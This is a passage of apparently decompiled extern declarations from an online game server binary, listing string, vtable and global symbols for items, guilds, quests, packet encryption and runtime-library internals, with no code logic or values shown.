asc_5E7270[]; // idb extern char aTotalDataDDefi[]; // idb extern char aTotalFormatDDe[]; // idb extern char aIncludeDataDDe[]; // idb extern char aIncludeFormatD[]; // idb extern char aSWriteDataErro[]; // idb extern char aSWriteDataOk[19]; // weak extern char aSWriteFormatEr[]; // idb extern char aSWriteFormatOk[21]; // weak extern char aSWriteOk[14]; // weak extern char aSWriteError[17]; // weak extern char aSReadError[]; // idb extern char aSReadOk[]; // idb extern char aIncludeOpenErr[]; // idb extern char aFileOpenErrorC[33]; // weak extern char aSUnknowned_[]; // idb extern char aIncludeS[]; // idb extern char asc_5E7410[]; // idb extern char aFileProcessing[]; // idb extern char pszMsg[]; // idb extern char aFailedListen_0[]; // idb extern char aErrorListenSoc[]; // idb extern int (__cdecl *WinService::_vftable_)(int __formal); // weak extern int (__thiscall *String::_vftable_)(void *p, char); // weak extern char aItemdataboxI_3[]; // idb extern char aItemdataboxI_0[]; // idb extern char aMiniwedding01_[]; // idb extern char aWeddingcoupon[]; // idb extern char aInvitationcard[]; // idb extern char aProposering[]; // idb extern char a__9dataShineWe[]; // idb extern char aIn_moneycard00[]; // idb extern char aGuildtendency[]; // idb extern char aGuildname[]; // idb extern char aKaris[]; // idb extern char aKq_soulcrystal[]; // idb extern char aWingstone01_1[]; // idb extern char aGoddesswing[]; // idb extern char aProdreload01[]; // idb extern char aRoar[]; // idb extern char aSpmpotion3[]; // idb extern char aSpmpotion0[]; // idb extern char aSpmpotion2[]; // idb extern char aSpmpotion1[]; // idb extern char aHpmpotion3[]; // idb extern char aHpmpotion0[]; // idb extern char aHpmpotion2[]; // idb extern char aHpmpotion1[]; // idb extern char aHouse_mushroom[]; // idb extern char aLicenseclear[]; // idb extern char aSkillreloadb_0[]; // idb extern char aFreestatusre_0[]; // idb extern char aSkillreloadbun[]; // idb extern char aFreestatusrelo[]; // idb extern char aPresentbox[]; // idb extern char aSilverwings[]; // idb extern char aCen[]; // idb extern char aItemdataboxI_4[]; // idb extern char aItemdataboxI_1[]; // idb extern char aDuplicateItemH[]; // idb extern char aItemdataboxIdb[]; // idb extern char aItemdataboxI_5[]; // idb extern char aItemdataboxI_2[]; // idb extern char aDiff[]; // idb extern char aItemdataboxI_6[]; // idb extern char a__9dataShin_23[]; // idb extern char dataShine::a[]; // idb extern char a__9dataShin_75[]; // idb extern char a__9dataShin_29[]; // idb extern char aMapdataboxMdb_[]; // idb extern char aMobdataboxRead[]; // idb extern char a__9dataShineMa[]; // idb extern int (*ORField::_vftable_[5])(); // weak extern int (__stdcall *ORFieldIndex::_vftable_)(int contentstring, int contentindex); // weak extern char aCannotReadInde[]; // idb extern int (__stdcall *ORFieldString::_vftable_)(int contentstring, int contentindex); // weak extern int (__stdcall *ORFieldByte::_vftable_)(int contentstring, int num); // weak extern char aCannotReadByte[]; // idb extern int (__stdcall *ORFieldWord::_vftable_)(int contentstring, int num); // weak extern char aCannotReadWord[]; // idb extern int (__stdcall *ORFieldDwrd::_vftable_)(int contentstring, int num); // weak extern char aCannotReadDwrd[]; // idb extern char aCannotReadStri[]; // idb extern char aMicrosoftCExce[24]; // weak extern char aException_stac[25]; // weak extern char aException_priv[27]; // weak extern char aException_int_[23]; // weak extern char aException_in_1[29]; // weak extern char aException_fl_5[24]; // weak extern char aException_fl_2[26]; // weak extern char aException_flt_[23]; // weak extern char aException_fl_4[32]; // weak extern char aException_fl_3[29]; // weak extern char aException_fl_1[29]; // weak extern char aException_fl_0[31]; // weak extern char aException_inva[25]; // weak extern char aException_in_0[30]; // weak extern char aException_nonc[35]; // weak extern char aException_ille[30]; // weak extern char aException_arra[32]; // weak extern char aException_in_p[24]; // weak extern char aException_sing[22]; // weak extern char aException_acce[27]; // weak extern char aException_brea[21]; // weak extern char aException_guar[21]; // weak extern char aException_data[32]; // weak extern char aSLine04d[]; // idb extern char aSLine04d04dByt[]; // idb extern char aS[]; // idb extern char aS04dByteS[]; // idb extern char asc_5E7EF8[]; // idb extern char a0x08x0x08x0x08[]; // idb extern char a04x08x[]; // idb extern _UNKNOWN unk_5E7F28; // weak extern char aAt04x08x[]; // idb extern char aUnknown[]; // idb extern char aInModule[]; // idb extern char asc_5E7F64[]; // idb extern char ModuleName[]; // idb extern char asc_5E7F74[]; // idb extern char aCausedAn[]; // idb extern char OutputString[]; // idb extern _UNKNOWN unk_5E7FB0; // weak extern char aGetfirststackt[]; // idb extern char aKernel32_dll_0[]; // idb extern char asc_5E7FFC[]; // idb extern int (__thiscall *CIOBuffer::_vftable_)(void *p, char); // weak extern char aIobuffercontai[]; // idb extern char asc_5E802C[5]; // weak extern int (__stdcall *CSocket_Acceptor_Process_Interface::_vftable_)(int pOverlapped, int NumOfBytes); // weak extern int (__thiscall *AreaInfoData::_vftable_)(void *p, char); // weak extern int (__stdcall *AreaInfoData::AE_Square::_vftable_[2])(float fX, float fCos); // weak extern int (__stdcall *AreaInfoData::AE_Circle::_vftable_)(float fX, float fY); // weak extern int (__stdcall *CQuest::_vftable_[2])(int sklidx); // weak extern int PacketEncrypt::pe_encryptlen; // weak extern char asc_5E80D8[3]; // weak extern char aDicedividind_s[17]; // weak extern char aMinihouseend_0[20]; // weak extern char aSetitemeffect_[18]; // weak extern char aSetitem_shn[12]; // weak extern char aMinihousefur_1[32]; // weak extern char aWeapontitledat[20]; // weak extern char aWeaponattrib_s[17]; // weak extern char aUpgradeinfo_sh[16]; // weak extern char aSubabstate_shn[15]; // weak extern char aRiding_shn[11]; // weak extern char aPassiveskill_s[17]; // weak extern char aMobinfo_shn[12]; // weak extern char aMinihouseobj_0[20]; // weak extern char aMinihousefurni[23]; // weak extern char aMinihouse_shn[14]; // weak extern char aMapinfo_shn[12]; // weak extern char aIteminfo_shn[13]; // weak extern char aItemdismantle_[18]; // weak extern char aGradeitemoptio[20]; // weak extern char aGather_shn[11]; // weak extern char aClassname_shn[14]; // weak extern char aChargedeffect_[18]; // weak extern char aCharactertitle[23]; // weak extern char aActiveskill_sh[16]; // weak extern char aAbstate_shn[12]; // weak extern char szSeprator[]; // idb extern int (__thiscall *CQuestParserScript::_vftable_)(CQuestParserScript *this, int pCmd); // weak extern int (__thiscall *std::num_get>>::_vftable_)(void *p, char); // weak extern char a0123456789abcd[23]; // weak extern int (__stdcall *std::basic_ifstream>::_vftable_)(char); // weak extern _UNKNOWN std::basic_ifstream>::_vbtable_; // weak extern int (__thiscall *CMD5Checksum::_vftable_)(void *p, char); // weak extern char a0X[4]; // weak extern char a00[]; // idb extern int (__thiscall *std::logic_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::length_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::out_of_range::_vftable_)(void *p, char); // weak extern char aInvalidStringP[]; // idb extern char aStringTooLong[]; // idb extern int (__thiscall *std::locale::facet::_vftable_)(void *p, char); // weak extern int (__thiscall *std::locale::_Locimp::_vftable_)(void *p, char); // weak extern char asc_5E8748[]; // idb extern const __int32 std::_BADOFF; // weak extern int (__thiscall *std::ios_base::_vftable_)(void *p, char); // weak extern int (__thiscall *std::runtime_error::_vftable_)(void *p, char); // weak extern int (__thiscall *std::ios_base::failure::_vftable_)(void *p, char); // weak extern char aIos_baseEofbit[]; // idb extern char aIos_baseFailbi[]; // idb extern char aIos_baseBadbit[]; // idb extern const int valid[15]; extern int (__thiscall *std::bad_alloc::_vftable_)(void *p, char); // weak extern char aBadAllocation[15]; // weak extern EHExceptionRecord ExceptionTemplate; extern int (__thiscall *exception::_vftable_)(void *p, char); // weak extern char aUnknownExcepti[18]; // weak extern int (__thiscall *bad_cast::_vftable_)(void *p, char); // weak extern int (__stdcall *type_info::_vftable_)(char); // weak extern char aCorexitprocess[]; // idb extern char aMscoree_dll[]; // idb extern const WCHAR String1; // idb extern wchar_t asc_5E8BB0[33]; // weak extern const __int16 ctype_loc_style[127]; extern char first_127char[127]; extern char control[]; // idb extern char asc_5E919C[]; // idb extern char aFlsfree[]; // idb extern char aFlssetvalue[]; // idb extern char aFlsgetvalue[]; // idb extern char aFlsalloc[]; // idb extern char Caption[]; // idb extern char aProgram[]; // idb extern char asc_5E9298[]; // idb extern char a___[]; // idb extern char aProgramNameUnk[]; // idb extern char aABufferOverrun[160]; // weak extern char aBufferOverrunD[25]; // weak extern char aASecurityError[177]; // weak extern char aUnknownSecurit[]; // idb extern _SCOPETABLE_ENTRY stru_5E9460; // weak extern char __lookuptable[]; // weak extern char aTz[]; // idb extern char aE000[]; // idb extern char aIsprocessorfea[]; // idb extern char aKernel32[]; // idb extern char aAuthenticamd[]; // idb extern char aRuntimeErrorPr[]; // idb extern char aInitializecrit[]; // idb extern int __rgLocInfo[]; // weak extern char a040a[5]; // weak extern char *off_5ED58C; // weak extern int (__cdecl *off_5ED590)(int bValue); // weak extern char *off_5ED594; // weak extern int (__cdecl *off_5ED598)(int bValue); // weak extern _UNKNOWN unk_5ED59C; // weak extern char a1252[5]; // weak extern __int16 __rglangidNotDefault[]; // weak extern tagLOCALETAB __rg_country; // idb extern tagLOCALETAB __rg_language; // idb extern char aOcp[]; // idb extern char Str2[]; // idb extern char aNorwegianNynor[]; // idb extern char aGetprocesswind[]; // idb extern char aGetuserobjecti[]; // idb extern char aGetlastactivep[]; // idb extern char aGetactivewindo[]; // idb extern char aMessageboxa[]; // idb extern char aUser32_dll_0[]; // idb extern char aAtan[5]; // weak extern char aCeil[5]; // weak extern char aFloor[6]; // weak extern char aModf[5]; // weak extern char aExp2[5]; // weak extern char aExp10[6]; // weak extern char aLog2[5]; // weak extern char aPow_0[4]; // weak extern char aLog_0[4]; // weak extern char aLog10[6]; // weak extern char aExp[4]; // weak extern char a1Qnan[]; // idb extern char a1Inf[]; // idb extern char a1Ind[6]; // weak extern char a1Snan[7]; // weak extern _UNKNOWN __rtc_izz; // weak extern _UNKNOWN __rtc_tzz; // weak extern _s__ThrowInfo _TI3_AVlength_error_std__; // idb extern _s__ThrowInfo _TI3_AVout_of_range_std__; // idb extern _msExcept7 stru_5F5DFC; // weak extern _s__ThrowInfo _TI2_AVbad_cast__; // idb extern _s__ThrowInfo _TI2PAVInvalidPacketException_CPacket__; // idb extern _s__ThrowInfo _TI3_AVfailure_ios_base_std__; // idb extern _s__ThrowInfo _TI2_AVbad_alloc_std__; // idb extern _UNKNOWN __xi_a; // weak extern _UNKNOWN __xi_z; // weak extern void (__cdecl *__xp_a)(); // idb extern void (__cdecl *__xp_z)(); // idb extern void (__cdecl *__xt_a)(); // idb extern void (__cdecl *__xt_z)(); // idb extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern int ShineSendType::command; // weak extern int ShineSendType::department; // weak extern char serverindex[]; // idb extern unsigned __int8 DebugLogging::dl_ActivAll; // weak extern int g_BroadcastStackPoint; // weak extern BattleObjectGroup::BattleObjectStruct battleobjectstructclear; extern char *pw_IAmKing; // weak extern char byte_601A11; // weak extern char byte_601A12; // weak extern char byte_601A13; // weak extern char byte_601A14; // weak extern char byte_601A15; // weak extern char byte_601A16; // weak extern char byte_601A17; // weak extern char byte_601A18; // weak extern char byte_601A19; // weak extern char byte_601A1A; // weak extern char *pw_ObeyMyOrder; // weak extern char byte_601A31; // weak extern char byte_601A32; // weak extern char byte_601A33; // weak extern char byte_601A34; // weak extern char byte_601A35; // weak extern char byte_601A36; // weak extern char byte_601A37; // weak extern char byte_601A38; // weak extern char byte_601A39; // weak extern char byte_601A3A; // weak extern char byte_601A3B; // weak extern char byte_601A3C; // weak extern char byte_601A3D; // weak extern char byte_601A3E; // weak extern char *pw_OrYouDead; // weak extern char byte_601A51; // weak extern char byte_601A52; // weak extern char byte_601A53; // weak extern char byte_601A54; // weak extern char byte_601A55; // weak extern char byte_601A56; // weak extern char byte_601A57; // weak extern char byte_601A58; // weak extern char byte_601A59; // weak extern char byte_601A5A; // weak extern char byte_601A5B; // weak extern char byte_601A5C; // weak extern char byte_601A5D; // weak extern char byte_601A5E; // weak extern char byte_601A5F; // weak extern char byte_601A60; // weak extern char *pw_TurtleStep; // weak extern char byte_601A71; // weak extern char byte_601A72; // weak extern char byte_601A73; // weak extern char byte_601A74; // weak extern char byte_601A75; // weak extern char byte_601A76; // weak extern char byte_601A77; // weak extern char byte_601A78; // weak extern char byte_601A79; // weak extern char byte_601A7A; // weak extern char byte_601A7B; // weak extern char byte_601A7C; // weak extern char *pw_SkyDiving; // weak extern char byte_601A91; // weak extern char byte_601A92; // weak extern char byte_601A93; // weak extern char byte_601A94; // weak extern char byte_601A95; // weak extern char byte_601A96; // weak extern char byte_601A97; // weak extern char byte_601A98; // weak extern char byte_601A99; // weak extern char byte_601A9A; // weak extern char byte_601A9B; // weak extern char byte_601A9C; // weak extern char *pw_Crown; // weak extern char byte_601AB1; // weak extern char byte_601AB2; // weak extern char byte_601AB3; // weak extern char byte_601AB4; // weak extern char byte_601AB5; // weak extern char byte_601AB6; // weak extern char byte_601AB7; // weak extern char byte_601AB8; // weak extern char DuplicatedMenuControl::dmc_Table[]; // weak extern int objtype[10]; extern GuildWarManager gldwarman; // idb extern PartyExperienceBonusDouble pebd; // idb extern int (__stdcall **InventoryLocking::InventoryCellLockList::icll_Releaser_None)(int, int lc, char inchest); // weak extern int sec[5]; extern unsigned __int16 notfound[4]; extern unsigned __int16 notempty[4]; extern int (__stdcall **mobexplosebase)(int mob); // weak extern unsigned __int8 g_NewBlockRule; // weak extern int (__stdcall *(*MobTacticElement::MobActionArgument::Actor::base)[2])(int argument); // weak extern PROTOCOLFUNCTIONTEMPLETE gdsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE shineprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE glsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE optsprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE wldmanprotofunc; // idb extern PROTOCOLFUNCTIONTEMPLETE zlsprotofunc; // idb extern int (__stdcall *(*sysfuncbase[2])[26])(int buffer, int ps, int argumentlist); // weak extern EngNormAtt engnormatt; // idb extern int (__stdcall **ShineObjectClass::ShineObject::so_dummypacketcontainer)(int sklidx); // weak extern unsigned __int16 ridingskill; extern int (__stdcall **ui_base)(int, int itm); // weak extern PROTO_NC_MISC_HEARTBEAT_REQ_SEND req; extern SleepManager sleepmanager; // idb extern std::basic_string,std::allocator > NPCAction::ActionGen_OptionReader::tableName_; // idb extern std::basic_string,std::allocator > NPCAction::CondGen_OptionReader::tableName_; // idb extern std::basic_string,std::allocator > NPCAction::TriggerGen_OptionReader::tableName_; // idb extern _DWORD AccUpGradeInfoTable::Min_Variables[12]; // idb extern _DWORD AccUpGradeInfoTable::Max_Variables[12]; // idb extern _DWORD AccUpGradeInfoTable::Limit_Variables[12]; // idb extern std::basic_string,std::allocator > strDirPath; extern _DWORD LevelGap_Player_to_Player::DefLv[150]; // idb extern AssertClass shineassert; // idb extern _UNKNOWN ItemBag::ib_staticcell; // weak extern _UNKNOWN unk_61060C; // weak extern _UNKNOWN unk_610610; // weak extern ItemAttributeClassContainer *off_610678; // weak extern int gbDMVCICOP; // idb extern int pCslParameterSize[19]; extern char *pCslParameter[19]; extern char *pCslCmd[10]; extern char *pCslRemarks[7]; extern volatile LONG g_nAllocBuffer; extern _BYTE PacketEncrypt::pe_encryptstr[504]; // idb extern const char *gpQSC[32]; extern const char *gpQSV[8]; extern const char *gpQSAE[6]; extern const char *gpQST[2]; extern const char *gpQSIL[1]; extern char PADDING[64]; extern volatile LONG init; extern const char *mods[15]; extern unsigned int atcount[]; extern _DWORD _NLG_Destination[4]; // idb extern int __security_cookie; // weak extern int (__cdecl *_FPinit)(_DWORD); // weak extern int (*_FPmtinit)(void); // weak extern int (*_FPmtterm)(void); // weak extern char *__lconv_c; // weak extern void *off_610D58; // weak extern void *off_610D5C; // weak extern void *off_610D60; // weak extern void *off_610D64; // weak extern void *off_610D68; // weak extern void *off_610D6C; // weak extern void *off_610D70; // weak extern void *off_610D74; // weak extern void *off_610D78; // weak extern char **__lconv; // weak extern int (__cdecl *_aexit_rtn)(_DWORD); // weak extern _UNKNOWN __app_type; // weak extern errentry errtable[45]; extern _DWORD dword_610DB4[90]; // idb extern const unsigned __int16 *_pctype; extern LPCRITICAL_SECTION locktable; extern _DWORD dword_610F2C[70]; // idb extern char clocalestr[2]; extern _UNKNOWN __initiallocinfo; // weak extern threadlocaleinfostruct *___ptlocinfo; // idb extern _is_ctype_compatible Lcid_c[5]; extern _DWORD dword_6110AC[6]; // idb extern _UNKNOWN unk_6110C8; // weak extern _UNKNOWN unk_6110CC; // weak extern char cachein[131]; extern _UNKNOWN unk_611152; // weak extern char cacheout[131]; extern char *outstr; // idb extern int (__cdecl *off_6111E8)(int pexcept); // weak extern char *off_6111EC; // weak extern void *off_6111F0; // weak extern void *off_6111FC; // weak extern char *off_61121C; // weak extern void *off_611220; // weak extern _DWORD __tlsindex; // idb extern void (__cdecl *__pInconsistency)(); // weak extern char *__nullstring; // weak extern wchar_t *__wnullstring; // weak extern FILE _iob[]; extern _UNKNOWN unk_611258; // weak extern _iobuf stru_611268; // idb extern _UNKNOWN unk_611288; // weak extern _UNKNOWN unk_6112B8; // weak extern _UNKNOWN unk_6114A8; // weak extern __int32 _timezone; extern int _daylight; extern __int32 _dstbias; extern LPSTR _tzname; extern LPSTR lpMultiByteStr; // idb extern transitiondate dststart; extern _UNKNOWN unk_611564; // weak extern _UNKNOWN unk_611568; // weak extern transitiondate dstend; extern _UNKNOWN unk_611570; // weak extern _DWORD dword_611574; // idb extern _UNKNOWN _lpdays; // weak extern _DWORD dword_6115A8; // idb extern _DWORD _days[13]; // idb extern int (__cdecl *_cfltcvt_tab)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak extern int (*off_6115E4[5])(); // weak extern int (__cdecl *off_6115E8)(_DWORD, _DWORD, _DWORD); // weak extern int (*off_6115EC[3])(); // weak extern int (*off_6115F0[2])(); // weak extern int (*off_6115F4)(); // weak extern char XAMtoTagTab[1]; extern char _rgctypeflag[4]; extern code_page_info _rgcode_page_info[5]; extern char aVyv[6]; // weak extern char aJ[3]; // weak extern rterrmsgs rterrs[19]; extern char off_61179C[148]; // idb extern _UNKNOWN _XcptActTab; // weak extern _UNKNOWN _First_FPE_Indx; // weak extern _UNKNOWN _Num_FPE; // weak extern _UNKNOWN _XcptActTabCount; // weak extern _UNKNOWN __badioinfo; // weak extern _UNKNOWN __lc_clike; // weak extern int __mb_cur_max; extern _UNKNOWN __decimal_point; // weak extern _UNKNOWN __decimal_point_length; // weak extern char *(*__lc_time_curr)[43]; // weak extern char *__lc_time_c[43]; // weak extern double _HUGE; extern FpFormatDescriptor DoubleFormat; extern FpFormatDescriptor FloatFormat; extern int (__cdecl *_pmatherr)(_DWORD); // weak extern char fdiv_risc_table; extern unsigned int fdiv_scale_1; extern unsigned int fdiv_scale_2; extern unsigned int one_shl_63; extern char fprem_risc_table; extern char one_shl_64[6]; extern char half[6]; extern _UNKNOWN _d_inf; // weak extern _UNKNOWN _d_ind; // weak extern _UNKNOWN _d_max; // weak extern _UNKNOWN _d_mzero; // weak extern _UNKNOWN _matherr_flag; // weak extern _UNKNOWN _pow10pos; // weak extern _UNKNOWN _pow10neg; // weak extern _UNKNOWN g_NewAbstateStrength; // weak extern _UNKNOWN abstateidentarray; // weak extern _UNKNOWN unk_611F6C; // weak extern _UNKNOWN unk_611F70; // weak extern _UNKNOWN unk_611F72; // weak extern ClearStateBit clearabstate; extern AbnormalStateContainer::ActorCluster actorcluster; // idb extern AbnormalStateContainer::AbnormalStateList abstatetemplate; // idb extern _UNKNOWN unk_6150FC; // weak extern _UNKNOWN unk_615100; // weak extern unsigned int std::codecvt::id; // idb extern AbnormalStateDictionary::AbState dic_abstate; // idb extern _UNKNOWN unk_615274; // weak extern _UNKNOWN unk_61527C; // weak extern _DWORD dword_615280[288]; // idb extern _UNKNOWN unk_615700; // weak extern _UNKNOWN unk_615708; // weak extern _UNKNOWN unk_61570C; // weak extern _DWORD *dword_615714[2]; // idb extern _DWORD *dword_61571C[50]; // idb extern BTree unk_6158F0; // idb extern BTree unk_615CF4; // idb extern AbnormalStateDictionary::SubAbState dic_subabstate; // idb extern AbnormalStateShelter::AbstateShelter g_AbstateShelter; // idb extern DebugLogging AmpersandCommandLog; // idb extern _UNKNOWN unk_6162A0; // weak extern _UNKNOWN unk_616424; // weak extern AmpersandCommand ampcmd; extern AttackRhythm::AttackRhythm_Range attrhythm_range; // idb extern AttackRhythm::AttackRhythm_Melee attrhythm_melee; // idb extern AttackRhythm::AttackRhythm_Mob attrhythm_mob; // idb extern CharModeClassifier cmc; extern unsigned int _S6_58; extern CharModeClassifier cmc_0; extern unsigned int _S8_11; extern CharModeClassifier cmc_1; extern unsigned int _S10_2; extern CharModeClassifier cmc_2; extern unsigned int _S14_3; extern CharModeClassifier cmc_3; extern unsigned int _S18_13; extern CharModeClassifier cmc_4; extern unsigned int _S4_0; extern CharModeClassifier cmc_5; extern unsigned int _S12_18; extern CharModeClassifier cmc_6; extern unsigned int _S16_1; extern _UNKNOWN skilltargeterr; // weak extern SkillEffectApply::SkillBlastEffectContainer skilleffectapplyer; // idb extern BattleObjectGroup::BattleObjectList btlobjlist; // idb extern SkillEffectApply::SkillDamageSender skilldamagesender; // idb extern BlockDistribute::BlockingDistributeList g_BlockingDistributeList; extern BlockDistribute::BlockDistributeManager blockdistmanager; // idb extern unsigned int sightsquar; extern unsigned __int8 pw_Init; // weak extern unsigned __int16 ShineObjectClass::ShinePlayer::sp_Turtle; // weak extern BriefInfoExchanger::BriefInfoExchangeMob briefmob; // idb extern BriefInfoExchanger::BriefInfoExchangeMiniHouse briefminihouse; // idb extern BriefInfoExchanger::BriefInfoExchangeMagicField briefmagfld; // idb extern BriefInfoExchanger::BriefInfoExchangeEffect briefeffect; // idb extern BriefInfoExchanger::BriefInfoExchangeCharacter briefchar; // idb extern BriefInfoExchanger::BriefInfoExchangeDoor briefdoor; // idb extern BriefInfoExchanger::BriefInfoExchangeAbstate briefabstate_char; // idb extern CalculateBroadcastDistance broadcastdistance; extern BriefInformationAbstate briefInformationAbstate; // idb extern BriefInfoExchanger::BriefInfoExchangeItem briefitem; // idb extern BriefInfoDelete briefinfodelete; // idb extern BriefInfoExchanger::BriefInfoExchangeAbstate briefabstate_mob; // idb extern CharModeClassifier cmc_7; extern unsigned int _S43; extern Name3 urg; extern Name3 eld; extern Name3 rou; extern CharModeClassifier cmc_8; extern unsigned int _S45_5; extern MobAttackSequence::AttackElement4Mob key; extern int _local_static_guard_; // weak extern CharModeClassifier cmc_9; extern unsigned int _S50_3; extern CharModeClassifier cmc_10; extern unsigned int _S41_2; extern PassiveMasteryVariable pmv; // idb extern CharClassManager charclassmanager; // idb extern DebugLogging RegistNumberLog; extern unsigned int _S4_1; extern CharModeClassifier cmc_11; extern unsigned int _S6_59; extern DataFromOtherMachineList listofdatafromothermachine; // idb extern ChargedItemEffectDataBox ridedatabox; // idb extern ChargedItemEffectDataBox minihousedatabox; // idb extern ChargedItemEffectDataBox minihousefurnituredatabox; // idb extern ChargedItemEffectDataBox chargedbuffdatabox; // idb extern ShineDateTime chargeditemcheck; // idb extern tm stru_81EC6C; // idb extern char byte_81EC90; // weak extern char byte_81EC91; // weak extern tm timefromworld; // idb extern __int32 diffence2world; // weak extern int newseed; extern CharModeClassifier cmc_12; extern unsigned int _S4_2; extern CharModeClassifier cmc_14; extern unsigned int _S6_60; extern DebugLogging SkillCoolTimeLog; // idb extern WholeSaver wholesaver; // idb extern CharModeClassifier cmc_15; extern unsigned int _S4_3; extern CharModeClassifier cmc_16; extern unsigned int _S6_61; extern CharModeClassifier cmc_17; extern unsigned int _S8_13; extern CharModeClassifier cmc_18; extern unsigned int _S10_3; extern CharModeClassifier cmc_19; extern unsigned int _S12_19; extern CharModeClassifier cmc_20; extern unsigned int _S14_4; extern CharModeClassifier cmc_21; extern unsigned int _S16_2; extern CharModeClassifier cmc_22; extern unsigned int _S18_14; extern CharModeClassifier cmc_23; extern unsigned int _S20_3; extern CharModeClassifier cmc_24; extern unsigned int _S22_1; extern CharModeClassifier cmc_25; extern unsigned int _S24_8; extern CharModeClassifier cmc_26; extern unsigned int _S26_2; extern CharModeClassifier cmc_27; extern unsigned int _S28_1; extern CharModeClassifier cmc_28; extern unsigned int _S30_7; extern StaticVector path; extern unsigned int _S32_2; extern ZoneListenSession zonelisten; // idb extern DamageByAngle::DamageTable damagebyangle_Ply; // idb extern DamageByAngle::DamageTable damagebyangle_Mob; // idb extern DamageBySoul::SoulDamageContainer _SoulDamageContainer; // idb extern CharModeClassifier cmc_29; extern unsigned int _S10_4; extern DefSkillData defskill; // idb extern DebugLogging MoverErrorLog; // idb extern DirectDistanceTable ddt; // idb extern DropItemAnalyzer dropitemanalyzer; // idb extern DropLocationManager droplocman; // idb extern EquipEnumChanger equipman; // idb extern BTree fieldserial; // idb extern List fieldlist; // idb extern FieldOption this; // idb extern int dword_C3BCEE8; // weak extern int dword_C3BCEEC; // weak extern MapRearrangeObserver maprearrangeobserver; // idb extern union Name3 FieldMap::fm_MiniHouseInteriorMap; // weak extern int dword_C3BE108; // weak extern int dword_C3BE10C; // weak extern Name3 rouname; extern _iobuf *FunctionProfiler::FunctionPerformance::fp_ProfileFile; // idb extern LARGE_INTEGER FunctionProfiler::FunctionPerformance::fp_PerformanceFrequency; // idb extern FunctionProfiler::PerformanceRecorder _PerformanceRecorder; // idb extern FunctionCallingAnalyzer funcallanalizer; // idb extern CharModeClassifier cmc_30; extern unsigned int _S12_20; extern CharModeClassifier cmc_31; extern unsigned int _S14_5; extern CharModeClassifier cmc_32; extern unsigned int _S16_3; extern CharModeClassifier cmc_33; extern unsigned int _S18_15; extern CharModeClassifier cmc_34; extern unsigned int _S20_4; extern CharModeClassifier cmc_35; extern unsigned int _S10_5; extern GatherProduce::GatherTable gathertable; // idb extern GatherProduce::RecipeBook recipebook; // idb extern CharModeClassifier cmc_36; extern unsigned int _S4_4; extern CharModeClassifier cmc_37; extern unsigned int _S6_62; extern GuildAcademyRewardStorage::GuildAcademyRewardStorageManager gldacademyrewardstoramanager; // idb extern CharModeClassifier cmc_38; extern unsigned int _S10_6; extern CharModeClassifier cmc_39; extern unsigned int _S12_21; extern CharModeClassifier cmc_40; extern unsigned int _S16_4; extern CharModeClassifier cmc_41; extern unsigned int _S14_6; extern MemoryQueue queue_GuildReName; // idb extern MemoryQueue queue_GuildReType; // idb extern GuildStorage::GuildStorageManager gldstoramanager; // idb extern struct __unnamed *GTMap; // weak extern char byte_C8F1EF9[8]; // idb extern _UNKNOWN unk_C8F1F01; // weak extern char byte_C8F1F05; // weak extern char dword_C8F1F06[]; // idb extern int dword_C8F1F0A; // weak extern int dword_C8F1F0E; // weak extern char byte_C8F1F12; // weak extern char dword_C8F1F13[]; // idb extern int dword_C8F1F17; // weak extern int dword_C8F1F1B; // weak extern char byte_C8F1F1F; // weak extern char dword_C8F1F20[]; // idb extern int dword_C8F1F24; // weak extern int dword_C8F1F28; // weak extern char byte_C8F1F2C; // weak extern char dword_C8F1F2D[]; // idb extern int dword_C8F1F31; // weak extern int dword_C8F1F35; // weak extern char byte_C8F1F39; // weak extern char dword_C8F1F3A[]; // idb extern int dword_C8F1F3E; // weak extern int dword_C8F1F42; // weak extern char byte_C8F1F46; // weak extern char dword_C8F1F47[]; // idb extern int dword_C8F1F4B; // weak extern int dword_C8F1F4F; // weak extern char byte_C8F1F53; // weak extern char dword_C8F1F54[]; // idb extern int dword_C8F1F58; // weak extern int dword_C8F1F5C; // weak extern char byte_C8F1F60; // weak extern char dword_C8F1F61[]; // idb extern int dword_C8F1F65; // weak extern int dword_C8F1F69; // weak extern char byte_C8F1F6D; // weak extern char dword_C8F1F6E[]; // idb extern int dword_C8F1F72; // weak extern int dword_C8F1F76; // weak extern char byte_C8F1F7A; // weak extern char dword_C8F1F7B[]; // idb extern int dword_C8F1F7F; // weak extern int dword_C8F1F83; // weak extern char byte_C8F1F87; // weak extern char dword_C8F1F88[]; // idb extern int dword_C8F1F8C; // weak extern int dword_C8F1F90; // weak extern char byte_C8F1F94; // weak extern char dword_C8F1F95[]; // idb extern int dword_C8F1F99; // weak extern int dword_C8F1F9D; // weak extern char byte_C8F1FA1; // weak extern char dword_C8F1FA2[]; // idb extern int dword_C8F1FA6; // weak extern int dword_C8F1FAA; // weak extern char byte_C8F1FAE; // weak extern char dword_C8F1FAF[]; // idb extern int dword_C8F1FB3; // weak extern int dword_C8F1FB7; // weak extern char byte_C8F1FBB; // weak extern char dword_C8F1FBC[]; // idb extern int dword_C8F1FC0; // weak extern int dword_C8F1FC4; // weak extern char byte_C8F1FC8; // weak extern char dword_C8F1FC9[]; // idb extern int dword_C8F1FCD; // weak extern int dword_C8F1FD1; // weak extern char byte_C8F1FD5; // weak extern char dword_C8F1FD6[]; // idb extern int dword_C8F1FDA; // weak extern int dword_C8F1FDE; // weak extern char byte_C8F1FE2; // weak extern char dword_C8F1FE3[]; // idb extern int dword_C8F1FE7; // weak extern int dword_C8F1FEB; // weak extern char byte_C8F1FEF; // weak extern char dword_C8F1FF0[]; // idb extern int dword_C8F1FF4; // weak extern int dword_C8F1FF8; // weak extern char byte_C8F1FFC; // weak extern char dword_C8F1FFD[]; // idb extern int dword_C8F2001; // weak extern int dword_C8F2005; // weak extern char byte_C8F2009; // weak extern char dword_C8F200A[]; // idb extern int dword_C8F200E; // weak extern int dword_C8F2012; // weak extern char byte_C8F2016; // weak extern char dword_C8F2017[]; // idb extern int dword_C8F201B; // weak extern int dword_C8F201F; // weak extern char byte_C8F2023; // weak extern char dword_C8F2024[]; // idb extern int dword_C8F2028; // weak extern int dword_C8F202C; // weak extern char 